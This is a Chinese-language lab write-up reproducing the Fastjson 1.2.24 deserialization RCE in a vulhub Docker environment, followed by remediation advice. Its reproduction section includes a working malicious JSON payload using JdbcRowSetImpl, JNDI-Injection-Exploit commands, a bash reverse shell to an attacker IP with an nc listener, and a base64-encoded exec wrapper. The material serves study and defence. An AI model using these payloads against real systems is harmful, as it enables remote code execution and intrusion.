fastjson-CNVD-2017-02833漏洞复现
字数 1604 2025-08-10 17:51:54
Fastjson 1.2.24 远程代码执行漏洞(CVE-2017-18349)复现与分析
1. Fastjson简介
Fastjson是阿里巴巴开源的一个高性能Java JSON处理库,主要功能包括:
- 序列化:将Java对象转换为JSON字符串
- 反序列化:将JSON字符串转换为Java对象
主要特点:
- 高性能:通过优化技术在序列化和反序列化过程中表现优异
- 功能丰富:支持日期、枚举、泛型、嵌套对象等复杂数据类型
- 简单易用:提供简洁的API,少量代码即可完成转换
- 兼容性强:与Spring、Hibernate、MyBatis等主流框架无缝集成
2. 漏洞概述
2.1 漏洞信息
- 漏洞编号:CNVD-2017-02833 / CVE-2017-18349
- 影响版本:Fastjson 1.2.24及之前版本
- 漏洞类型:远程代码执行(RCE)
- 危险等级:高危
2.2 漏洞原理
Fastjson在反序列化时允许通过@type键指定任意反序列化类名,默认会调用该对象的setter/getter方法。攻击者可利用com.sun.rowset.JdbcRowSetImpl类,在其setAutoCommit方法中会对成员变量dataSourceName进行JNDI lookup,从而导致JNDI注入。
2.3 利用条件
- 目标系统使用Fastjson 1.2.24或更早版本
- 开启了autotype功能(默认开启)
- JDK版本在1.7或1.8(特定版本)
3. 漏洞复现
3.1 环境搭建
所需工具:
- Kali Linux 2023
- Fastjson 1.2.24-rce环境
- JNDI-Injection-Exploit工具(JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar)
- JDK 1.8.0_301
- FastjsonScan扫描工具
环境搭建步骤:
# 使用vulhub快速搭建测试环境
cd /home/kali/vulhub/fastjson/1.2.24-rce/
sudo docker-compose up -d
3.2 漏洞检测
方法一:延时检测
构造特定JSON请求,观察响应时间判断是否存在漏洞
方法二:报错检测
构造不完整JSON请求,如:
{"@type": "java.lang.AutoCloseable" ["test":1]}
观察返回的报错信息
方法三:使用FastjsonScan工具
FastjsonScan.exe [目标URL]
3.3 漏洞验证
步骤1:构造恶意请求
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://127.0.0.1:1099/exploit",
"autoCommit":true
}
}
步骤2:启动JNDI服务
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/test" -A "攻击者IP"
步骤3:验证文件创建
sudo docker exec -it [容器ID] /bin/bash
cd /tmp
ls
3.4 反弹Shell
步骤1:准备反弹Shell命令
bash -i >& /dev/tcp/攻击者IP/端口 0>&1
步骤2:Base64编码命令
使用在线工具(如https://ares-x.com/tools/runtime-exec)对命令进行编码
步骤3:启动JNDI服务
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,Base64编码后的命令}|{base64,-d}|{bash,-i}" -A "攻击者IP"
步骤4:在攻击机监听端口
nc -lvp 1234
步骤5:发送恶意请求
使用Burp Suite等工具发送构造好的JSON请求
4. 漏洞修复建议
-
升级Fastjson版本
- 升级到1.2.68及以上版本(新增了safemode,彻底关闭autotype)
- 最少升级到1.2.48以上版本并关闭autotype选项
-
WAF防护
- 拦截过滤请求包中的
@type及其各种编码形式:%u0040%u0074%u0079%u0070%u0065\u0040type\x04type
- 拦截过滤请求包中的
-
升级JDK版本
- 升级到以下版本或更高:
- 8u191
- 7u201
- 6u211
- 11.0.1
- 升级到以下版本或更高:
-
其他措施
- 在反序列化时使用白名单机制
- 关闭不必要的JSON反序列化功能
5. 参考资料
- [Web漏洞] Java反序列化漏洞 - 知乎
- Vulhub - Docker-Compose file for vulnerability environment
- Fastjson官方GitHub仓库和安全公告
6. 注意事项
- 漏洞复现应在授权环境下进行
- 实际环境中Fastjson版本判断可能较为困难,需要结合多种方法
- 不同JDK版本对JNDI注入的防护不同,影响漏洞利用成功率
- 生产环境应立即采取修复措施,避免被攻击者利用